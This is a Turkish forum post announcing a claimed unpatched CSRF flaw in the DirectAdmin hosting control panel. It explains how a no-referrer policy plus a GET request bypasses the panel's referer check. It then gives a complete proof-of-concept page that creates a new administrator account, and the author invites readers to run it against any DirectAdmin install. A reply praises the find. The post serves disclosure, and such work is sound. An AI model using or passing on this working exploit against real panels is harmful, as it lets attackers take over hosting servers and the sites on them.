Directadmin CSRF Zafiyeti (0day)

Öncelikle herkese merhabalar. Directadmin yazılımında bulduğumuz zafiyeti burada paylaşmak istedik. Bildirdik ama geri dönüş alamadığımız için burada paylaşalım diye düşündük. Öncelikle Directadmin yazılımı nedir? kısa bir özet geçeyim.

DirectAdmin; web tabanlı, grafik ara yüzlü, bayi ve kullanıcı düzeyinde yönetebileceğiniz web hosting kontrol panelidir. Official Website

2019 da InfinitiumIT Ekibi DirectAdmin’deki CVE:2019-11193 CSRF güvenlik açığı üzerinde rapor verdi. Bunun üzerine Directadmin ekibi, her ne kadar kesin çözüm olmasa da gönderilen isteklerin HTTP Referer başlıkları kontrol edilmesini sağlayan bir check_referer kontrolü yaması ekledi ve incelediğimde gördüm ki (varsayılan olarak etkin) check_referer nedeniyle 2019 'da raporlanan istismar çalışmıyor. “HTTP Referer” başlıkları kontrol etmek CRSF açığını fixlemek için yeterli bir çözüm değildi. Ancak yaptığım ufak bir analizden sonra check_referer bypass’a izin veren başka bir Bug buldum.

Kısaca özeti şu şekilde :

Eğer Yönlendirme Politikası (Referrer-Policy) PHP Headerına Yönlendirme Politikası devre dışı bırakılacak şekilde ayarlanırsa (no-referrer) ve bu ayarlamadan sonra CRSF PoC 'un form isteği POST Methodu yerine GET Methodu ile gönderilirse CRSF başarılı bir şekilde çalışır. Yani fixledikleri zafiyet yeniden ortaya çıkar.

Yönlendirme Politikası Devre dışı brakma örneği :

<?php
header("Referrer-Policy: no-referrer");
?>

Aşşağıda vereceğim PoC kullanılarak başarılı bir şekilde yeni kullanıcı oluşturulabilir.

PoC :

<?php
header("Referrer-Policy: no-referrer");
?>
<html>
  <body>
    <form action="https://HOST:2223/CMD_ACCOUNT_ADMIN" method="GET">
      <input type="hidden" name="fakeusernameremembered" value="" />
      <input type="hidden" name="fakepasswordremembered" value="" />
      <input type="hidden" name="action" value="create" />
      <input type="hidden" name="username" value="ozan" />
      <input type="hidden" name="email" value="f3d4i@vvhack.org" />
      <input type="hidden" name="passwd" value="password" />
      <input type="hidden" name="passwd2" value="password" />
      <input type="hidden" name="notify" value="yes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Bu poc ile zafiyeti tekrar oluşturabilirsiniz. Şu an başka bir yerde paylaşılmadı ve açık fixlenmedi. Herhangi bir directadmin script’inde çalıştırabilirsiniz. 0day niteliğindedir. Kullanan arkadaşlara kolay gelsin…:slight_smile:
İletişim: twitter.com/OAdepe - twitter.com/BShellcode

CSRF ile ilgili ayrıntılı bilgi almak için diğer yazımı burdan okuyabilirsiniz.

6 Beğeni

Ellerine sağlık, web hack. konusunda Türk Alemi oldum olası etkin bir biçimde çalışmalar yürütüyor ve çıkan açıklardan sonuna kadar faydalanıyorlar. Bu güzel keşif hem umut ,hem gurur verici… sadece bilgi için çabalayanları görmek çok güzel.

2 Beğeni